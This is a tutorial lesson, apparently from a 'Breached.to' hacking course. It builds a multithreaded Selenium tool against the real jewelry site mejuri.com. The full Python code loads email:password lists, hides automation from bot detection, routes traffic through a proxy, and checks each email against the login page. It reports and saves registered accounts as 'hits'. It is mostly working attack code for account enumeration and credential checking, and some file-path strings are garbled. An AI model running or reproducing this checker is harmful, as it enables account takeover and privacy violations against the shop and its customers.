August 25, 2022 at 10:38 AM
In this lesson, we need to encapsulate all the previous business logic codes into the thread module, then give this thread module a beautiful name, and finally call it "externally".
Review our previous business logic Codes:
main.py:
In the previous lesson, we tested the thread example code:
thread_test.py:
Now, we are ready to encapsulate the business logic into the thread module. First, create a new file with the name: LogicMethod_Mejuri.py
Before starting the transformation, we need to move the third-party library header file introduced by main.py to "logicmethod_mejuri. Py":
main.py:
Next, we need to clear up our thinking:
1. How many threads need to be started?
In the thread example course, we created an account list. Should this part be "independent" and need not be moved to the thread module? yes!
2. For the time being, there is no change in the agent part, and "127.0.0.1:10808" is always used. Then, is it more convenient to temporarily move this part to the thread module?
3. What else is required by the thread module?
Before transformation, remember the following principles:
Never try to modify variables in the main process until you have a deep understanding of how threads work.
For example, you are in main Py defines a variable name, which is currently name = "game", but you modify it in the thread, such as name = "thread_1", even if it is now main Py returns name = "thread_1" normally. It is hard to guarantee that after other threads modify the value of this variable, your main.py can correctly display the value of the variable
Remark: brother, it's easy to understand (for example), please don't propose before you have a deep understanding of your girlfriend--- If you understand this sentence, you will understand the thread! Ha ha ha :D
Therefore, due to the length of this course (the text is too long), we have two problems:
1. Thread safety
2. Gil lock
Now, let's finish the rest, complete:
logicmethod_mejuri. py
main.py:
Well, if we run it now, we will see the result output without any accident.
But we seem to have forgotten to collect the results?
In the next lesson, we will explain the results of the thread collection module.
Review our previous business logic Codes:
main.py:
#!/usr/bin/env python
# -*- coding:utf-8 -*-
# 2022-07-31
# Breached.to Bullet Class: mejuri Project
# THE FAST ONLINE VERSION 1.0CB
import os
import time
# Import selenium package
from selenium import webdriver
from selenium.webdriver.chrome.service import Service
# New Import
from selenium.webdriver.common.by import By
class SeleniumMethodClass:
"""
Try using class method encapsulation
"""
def __init__(self, input_file_name):
# New changes
self.ACCOUNTFILE = input_file_name
def Loading_AccountFile(self):
"""
Load the account text file from the local disk, and read each line of data in it for parsing. The parsed data is in the form of a dictionary.
Then we add the dictionary to a list for the program to call in a loop.
:return: (type)List -> Account List
Account file format:
account password
Note: Use ":" to separate the account and password.
account.txt:
[email protected]:a123456
[email protected]:a1234567
[email protected]:a12345678
"""
# Define a list of accounts for saving the results
RESULT_ACCOUNT_LIST = []
# Removed "hardcoding", made account text "parameterized"
#_inputFileName = r"r:\account.txt"
# Check if the account file exists
#
if os.path.exists(self.ACCOUNTFILE) is False:
print("Debug Output: Don't open Account File.")
else:
# Loading Account File: Use class member variables
with open(self.ACCOUNTFILE, "r", encoding="utf8") as r:
_rawData = r.readlines()
for accountNode in _rawData:
_tmpStr = str(accountNode.strip()).split(":")
# The result of each line parsed is added to the result list.
RESULT_ACCOUNT_LIST.append(_tmpStr)
# Finally, return this result list
# Check the length of the returned account list
if len(RESULT_ACCOUNT_LIST) == 0:
return False
else:
return RESULT_ACCOUNT_LIST
def Input_Account(self, object_driver, account_info):
# Real combat code:
BASE_URL = "https://mejuri.com/"
object_driver.get(BASE_URL)
# Changes from previous: different places
success_Box_Title_Str = ['Mejuri | Everyday Fine Jewelry | Online Jewelry Shop', ]
success_Box_URL_Str = ["https://mejuri.com/", ]
if object_driver.title in success_Box_Title_Str or object_driver.current_url in success_Box_URL_Str:
print("Debug Output: Specific business code part...")
# 1. Look for the login element:
_element_Login_btn = object_driver.find_element(By.XPATH,
'/html/body/div[1]/div[3]/div/section/header/nav/div[2]/button/span')
# 2. Use the sleep method to force a delay.
# This is an officially not recommended method, and is only used here as an explanation.
time.sleep(1)
# 3. Once the login element is found, click it using the click() method.
_element_Login_btn.click()
time.sleep(1)
# 4. Navigate to the username input element
_element_input_accountBox = object_driver.find_element(By.XPATH, '//*[@id="input-email"]')
######################################################
# Old way, hardcoded. Let's cancel this line of code.
# _element_input_accountBox.send_keys("[email protected]")
# Use new methods.
_element_input_accountBox.send_keys(account_info[0])
######################################################
time.sleep(1)
_element_continue_btn = object_driver.find_element(By.XPATH,
'/html/body/div[1]/div[8]/div[1]/div/div/div/div[2]/div[2]/form/div[2]/button/span')
_element_continue_btn.click()
print("Debug Output: Input Account Success.")
return True
else:
print("Debug Output: Open URL Fail...")
return False
def Verify_Result(self, object_driver):
"""
Check result
:return: Bool
To locate two elements, we take the parameter: string
Then, if we do not take the string as the basis for judging the result, we can also use other methods.
"""
VERIFYBOX = ['Please create an account', ]
# XPATH
# /html/body/div[1]/div[8]/div[1]/div/div/div/div[2]/div[1]/div[1] = Looks like you’re new!
# /html/body/div[1]/div[8]/div[1]/div/div/div/div[2]/div[1]/div[2] = Please create an account
_element_check_str = object_driver.find_element(By.XPATH, '/html/body/div[1]/div[8]/div[1]/div/div/div/div[2]/div[1]/div[2]')
if _element_check_str.text in VERIFYBOX:
# If the result matches the expected value
# Then, it means that the account you are testing is not registered
print("Debug Output: Verify_Result function result:[{}]".format(_element_check_str.text))
return False
else:
return True
def Save_Result(self, account_result_list):
"""
Save results to local text file: Note that if the results list is empty, no saving is necessary.
:param account_result_list:
:return:
"""
if len(account_result_list) == 0:
print("Debug Output: Save the result to a text file: The result is empty, and writing to the file is ignored..")
else:
print("Debug Output: Save the results to a text file: [{}] results, start writing the results to the file.".format(len(account_result_list)))
# In append write mode, write the result to the local specified file
# Parameters: "a", which represents the append mode
with open(r"r:
esult.txt", "a", encoding="utf8") as wa:
for resultNode in account_result_list:
wa.write(str(resultNode[0] + ":" + resultNode[1] + '
'))
def WebdriverInitialization(self, proxy_info):
"""
Encapsulate DRIVER and add custom HTTP proxy function
:param proxy_info:
:return:
Create a selenium object, then you can use the methods of this object, if you don't understand, you can ignore it, copy and paste with me
"""
# Custom option parameters
options = webdriver.ChromeOptions()
options.add_argument("start-maximized")
options.add_experimental_option("excludeSwitches", ["enable-automation"])
options.add_experimental_option("excludeSwitches", ["enable-logging"])
options.add_experimental_option('useAutomationExtension', False)
options.add_argument('--disable-blink-features=AutomationControlled')
options.add_argument('disable-cache')
options.add_argument('-ignore-certificate-errors')
options.add_argument('-ignore -ssl-errors')
# Add custom proxy: use http proxy
options.add_argument(f'--proxy-server=http://' + proxy_info)
# Download the Chrome kernel locally, then, we load it
_chromePath = r"r:\chromedriver.exe"
# Use Service(), initialize
chromeService = Service(_chromePath)
# The only thing to note about the two parameters here is options. In the front, we customized these options, then DRIVER will use it as we customized
DRIVER = webdriver.Chrome(options=options, service=chromeService)
# Returns the DRIVER that has been initialized
# Note that the return value is an "object"
return DRIVER
def Main(self):
"""
main method
:return:
"""
# Initialization DRIVER
_http_proxy = "127.0.0.1:8080"
DRIVER = self.WebdriverInitialization(_http_proxy)
################### Business logic part ###################
# Save results
RESULT = []
# Step 1: Load the account text file
_accountList = self.Loading_AccountFile()
if _accountList is False:
print("Debug Output: Loading Account File Fail.")
else:
# Step 2: Loop through the loaded account list file
for accountNode in _accountList:
# Calling the function: Parameters: DRIVER, Account Info
if self.Input_Account(DRIVER, accountNode) is False:
print("Debug Output: Input_Account Fail.")
else:
# Step 3: Validation results
print("Debug Output: Call the check result function..")
if self.Verify_Result(DRIVER) is True:
# If the account exists, then you need to save the account to the final result list.
RESULT.append(accountNode)
else:
print(
"Debug Output: If the account does not exist, skip this test and ignore saving the results.")
pass
# Step 4: Save the results to a text file:
# Note that the code is indented, at the same level as the for loop statement
self.Save_Result(RESULT)
if __name__ == '__main__':
# Instantiate SeleniumMethodClass. and call the Main method.
_account_File_Path = r"r:\account.txt"
# When instantiating, pass parameters directly to the __init__ class constructor.
TestUnit_Object = SeleniumMethodClass(_account_File_Path)
# Call the class method Main()
TestUnit_Object.Main()In the previous lesson, we tested the thread example code:
thread_test.py:
#!/usr/bin/env python
# -*- coding:utf-8 -*-
# 2022-08-25
# Breached.to Bullet Class: mejuri Project
# THE FAST ONLINE VERSION 1.0CB
# Import thread from threading standard library
from threading import Thread
# We pretend to create a "business class":
# Why? Because we plan to encapsulate the business logic into modules and then use threads to execute
class SeleniumLogicMethods(Thread):
def __init__(self, account_info):
super(SeleniumLogicMethods, self).__init__()
self.AC_INFO = account_info
def run(self):
print("Attack account:{} password:{}".format(self.AC_INFO['account_name'], self.AC_INFO['acccount_password']))
if __name__ == '__main__':
# Create a list. Suppose this is the account list
account_List = [{'account_name': "user01", "acccount_password": "a123456"}, {'account_name': "user02", "acccount_password": "a654321"}]
for account in account_List:
# Instantiate business logic thread object
LogicObject_Thread = SeleniumLogicMethods(account)
# Start thread
LogicObject_Thread.start()
LogicObject_Thread.join()
Now, we are ready to encapsulate the business logic into the thread module. First, create a new file with the name: LogicMethod_Mejuri.py
Before starting the transformation, we need to move the third-party library header file introduced by main.py to "logicmethod_mejuri. Py":
#!/usr/bin/env python
# -*- coding:utf-8 -*-
# 2022-07-31
# Breached.to Bullet Class: mejuri Project - Logic Thread Moudle
# THE FAST ONLINE VERSION 1.0CB
# Import thread from threading standard library
from threading import Thread
# Import selenium package
from selenium import webdriver
from selenium.webdriver.chrome.service import Service
from selenium.webdriver.common.by import By
class LogicThreadMejuri(Thread):
def __init__(self, account_info):
super(LogicThreadMejuri, self).__init__()
self.ACINFO = account_info
def run(self):
"""
Default entry function
:return:
"""
print("Debug Info: LogicThreadMejuri Start. {}-{}".format(self.ACINFO[0], self.ACINFO[1]))
main.py:
#!/usr/bin/env python
# -*- coding:utf-8 -*-
# 2022-07-31
# Breached.to Bullet Class: mejuri Project - Main.py
# THE FAST ONLINE VERSION 1.0CB
import os
# Load business thread module
from LogicMethod_Mejuri import LogicThreadMejuri
class SeleniumMethodClass:
"""
Try using class method encapsulation
"""
def __init__(self, input_file_name):
"""
Constructor
:param input_file_name:
"""
self.ACCOUNTFILE = input_file_name
def Loading_AccountFile(self):
"""
Load the account text file from the local disk, and read each line of data in it for parsing. The parsed data is in the form of a dictionary.
Then we add the dictionary to a list for the program to call in a loop.
:return: (type)List -> Account List
Account file format:
account password
Note: Use ":" to separate the account and password.
account.txt:
[email protected]:a123456
[email protected]:a1234567
[email protected]:a12345678
"""
# Define a list of accounts for saving the results
RESULT_ACCOUNT_LIST = []
# Removed "hardcoding", made account text "parameterized"
#_inputFileName = r"r:\account.txt"
# Check if the account file exists
#
if os.path.exists(self.ACCOUNTFILE) is False:
print("Debug Output: Don't open Account File.")
else:
# Loading Account File: Use class member variables
with open(self.ACCOUNTFILE, "r", encoding="utf8") as r:
_rawData = r.readlines()
for accountNode in _rawData:
_tmpStr = str(accountNode.strip()).split(":")
# The result of each line parsed is added to the result list.
RESULT_ACCOUNT_LIST.append(_tmpStr)
# Finally, return this result list
# Check the length of the returned account list
if len(RESULT_ACCOUNT_LIST) == 0:
return False
else:
return RESULT_ACCOUNT_LIST
def Main(self):
"""
main method
:return:
"""
# Step 1: Prepare for creating multiple threads
# Load the account text file
_accountList = self.Loading_AccountFile()
if _accountList is False:
print("Debug Output: Loading Account File Fail.")
else:
# Step 2: Loop through the loaded account list file
for accountNode in _accountList:
# Instantiate business logic thread object
LogicObject_Thread = LogicThreadMejuri(accountNode)
# Start thread
LogicObject_Thread.start()
LogicObject_Thread.join()
if __name__ == '__main__':
account_file = r"r:\account.txt"
testObject = SeleniumMethodClass(account_file)
testObject.Main()
Next, we need to clear up our thinking:
1. How many threads need to be started?
In the thread example course, we created an account list. Should this part be "independent" and need not be moved to the thread module? yes!
2. For the time being, there is no change in the agent part, and "127.0.0.1:10808" is always used. Then, is it more convenient to temporarily move this part to the thread module?
3. What else is required by the thread module?
Before transformation, remember the following principles:
Never try to modify variables in the main process until you have a deep understanding of how threads work.
For example, you are in main Py defines a variable name, which is currently name = "game", but you modify it in the thread, such as name = "thread_1", even if it is now main Py returns name = "thread_1" normally. It is hard to guarantee that after other threads modify the value of this variable, your main.py can correctly display the value of the variable
Remark: brother, it's easy to understand (for example), please don't propose before you have a deep understanding of your girlfriend--- If you understand this sentence, you will understand the thread! Ha ha ha :D
Therefore, due to the length of this course (the text is too long), we have two problems:
1. Thread safety
2. Gil lock
Now, let's finish the rest, complete:
logicmethod_mejuri. py
#!/usr/bin/env python
# -*- coding:utf-8 -*-
# 2022-08-25
# Breached.to Bullet Class: mejuri Project - Logic Thread Moudle
# THE FAST ONLINE VERSION 1.0CB
import time
# Import thread from threading standard library
from threading import Thread
# Import selenium package
from selenium import webdriver
from selenium.webdriver.chrome.service import Service
from selenium.webdriver.common.by import By
class LogicThreadMejuri(Thread):
def __init__(self, account_info):
super(LogicThreadMejuri, self).__init__()
self.ACINFO = account_info
def run(self):
"""
Default entry function
:return:
"""
print("Debug Info: LogicThreadMejuri Start. {}-{}".format(self.ACINFO[0], self.ACINFO[1]))
# 1. Initialization DRIVER
_http_proxy = "127.0.0.1:8080"
DRIVER = self.WebdriverInitialization(_http_proxy)
# 2. Get result
if self.Input_Account(DRIVER) is False:
print("Debug Output: Input_Account Fail.")
else:
# Validation results
print("Debug Output: Call the check result function..")
if self.Verify_Result(DRIVER) is True:
# If the account exists, then you need to save the account to the final result list.
print("Attack target result: hit!")
else:
print(
"Debug Output: If the account does not exist, skip this test and ignore saving the results.")
def WebdriverInitialization(self, proxy_info):
"""
Encapsulate DRIVER and add custom HTTP proxy function
:param proxy_info:
:return:
Create a selenium object, then you can use the methods of this object, if you don't understand, you can ignore it, copy and paste with me
"""
# Custom option parameters
options = webdriver.ChromeOptions()
options.add_argument("start-maximized")
options.add_experimental_option("excludeSwitches", ["enable-automation"])
options.add_experimental_option("excludeSwitches", ["enable-logging"])
options.add_experimental_option('useAutomationExtension', False)
options.add_argument('--disable-blink-features=AutomationControlled')
options.add_argument('disable-cache')
options.add_argument('-ignore-certificate-errors')
options.add_argument('-ignore -ssl-errors')
# Add custom proxy: use http proxy
options.add_argument(f'--proxy-server=http://' + proxy_info)
# Download the Chrome kernel locally, then, we load it
_chromePath = r"r:\chromedriver.exe"
# Use Service(), initialize
chromeService = Service(_chromePath)
# The only thing to note about the two parameters here is options. In the front, we customized these options, then DRIVER will use it as we customized
DRIVER = webdriver.Chrome(options=options, service=chromeService)
# Returns the DRIVER that has been initialized
# Note that the return value is an "object"
return DRIVER
def Input_Account(self, object_driver):
# Real combat code:
BASE_URL = "https://mejuri.com/"
object_driver.get(BASE_URL)
# Changes from previous: different places
success_Box_Title_Str = ['Mejuri | Everyday Fine Jewelry | Online Jewelry Shop', ]
success_Box_URL_Str = ["https://mejuri.com/", ]
if object_driver.title in success_Box_Title_Str or object_driver.current_url in success_Box_URL_Str:
print("Debug Output: Specific business code part...")
# 1. Look for the login element:
_element_Login_btn = object_driver.find_element(By.XPATH,
'/html/body/div[1]/div[3]/div/section/header/nav/div[2]/button/span')
# 2. Use the sleep method to force a delay.
# This is an officially not recommended method, and is only used here as an explanation.
time.sleep(1)
# 3. Once the login element is found, click it using the click() method.
_element_Login_btn.click()
time.sleep(1)
# 4. Navigate to the username input element
_element_input_accountBox = object_driver.find_element(By.XPATH, '//*[@id="input-email"]')
######################################################
# Old way, hardcoded. Let's cancel this line of code.
# _element_input_accountBox.send_keys("[email protected]")
# Use new methods.
_element_input_accountBox.send_keys(self.ACINFO[0])
######################################################
time.sleep(1)
_element_continue_btn = object_driver.find_element(By.XPATH,
'/html/body/div[1]/div[8]/div[1]/div/div/div/div[2]/div[2]/form/div[2]/button/span')
_element_continue_btn.click()
print("Debug Output: Input Account Success.")
return True
else:
print("Debug Output: Open URL Fail...")
return False
def Verify_Result(self, object_driver):
"""
Check result
:return: Bool
To locate two elements, we take the parameter: string
Then, if we do not take the string as the basis for judging the result, we can also use other methods.
"""
VERIFYBOX = ['Please create an account', ]
# XPATH
# /html/body/div[1]/div[8]/div[1]/div/div/div/div[2]/div[1]/div[1] = Looks like you’re new!
# /html/body/div[1]/div[8]/div[1]/div/div/div/div[2]/div[1]/div[2] = Please create an account
_element_check_str = object_driver.find_element(By.XPATH, '/html/body/div[1]/div[8]/div[1]/div/div/div/div[2]/div[1]/div[2]')
if _element_check_str.text in VERIFYBOX:
# If the result matches the expected value
# Then, it means that the account you are testing is not registered
print("Debug Output: Verify_Result function result:[{}]".format(_element_check_str.text))
return False
else:
return True
main.py:
#!/usr/bin/env python
# -*- coding:utf-8 -*-
# 2022-08-25
# Breached.to Bullet Class: mejuri Project - Main.py
# THE FAST ONLINE VERSION 1.0CB
import os
# Load business thread module
from LogicMethod_Mejuri import LogicThreadMejuri
class SeleniumMethodClass:
"""
Try using class method encapsulation
"""
def __init__(self, input_file_name):
"""
Constructor
:param input_file_name:
"""
self.ACCOUNTFILE = input_file_name
def Loading_AccountFile(self):
"""
Load the account text file from the local disk, and read each line of data in it for parsing. The parsed data is in the form of a dictionary.
Then we add the dictionary to a list for the program to call in a loop.
:return: (type)List -> Account List
Account file format:
account password
Note: Use ":" to separate the account and password.
account.txt:
[email protected]:a123456
[email protected]:a1234567
[email protected]:a12345678
"""
# Define a list of accounts for saving the results
RESULT_ACCOUNT_LIST = []
# Removed "hardcoding", made account text "parameterized"
#_inputFileName = r"r:\account.txt"
# Check if the account file exists
#
if os.path.exists(self.ACCOUNTFILE) is False:
print("Debug Output: Don't open Account File.")
else:
# Loading Account File: Use class member variables
with open(self.ACCOUNTFILE, "r", encoding="utf8") as r:
_rawData = r.readlines()
for accountNode in _rawData:
_tmpStr = str(accountNode.strip()).split(":")
# The result of each line parsed is added to the result list.
RESULT_ACCOUNT_LIST.append(_tmpStr)
# Finally, return this result list
# Check the length of the returned account list
if len(RESULT_ACCOUNT_LIST) == 0:
return False
else:
return RESULT_ACCOUNT_LIST
def Main(self):
"""
main method
:return:
"""
# Step 1: Prepare for creating multiple threads
# Load the account text file
_accountList = self.Loading_AccountFile()
if _accountList is False:
print("Debug Output: Loading Account File Fail.")
else:
# Step 2: Loop through the loaded account list file
for accountNode in _accountList:
# Instantiate business logic thread object
LogicObject_Thread = LogicThreadMejuri(accountNode)
# Start thread
LogicObject_Thread.start()
LogicObject_Thread.join()
if __name__ == '__main__':
account_file = r"r:\account.txt"
testObject = SeleniumMethodClass(account_file)
testObject.Main()
Well, if we run it now, we will see the result output without any accident.
But we seem to have forgotten to collect the results?
In the next lesson, we will explain the results of the thread collection module.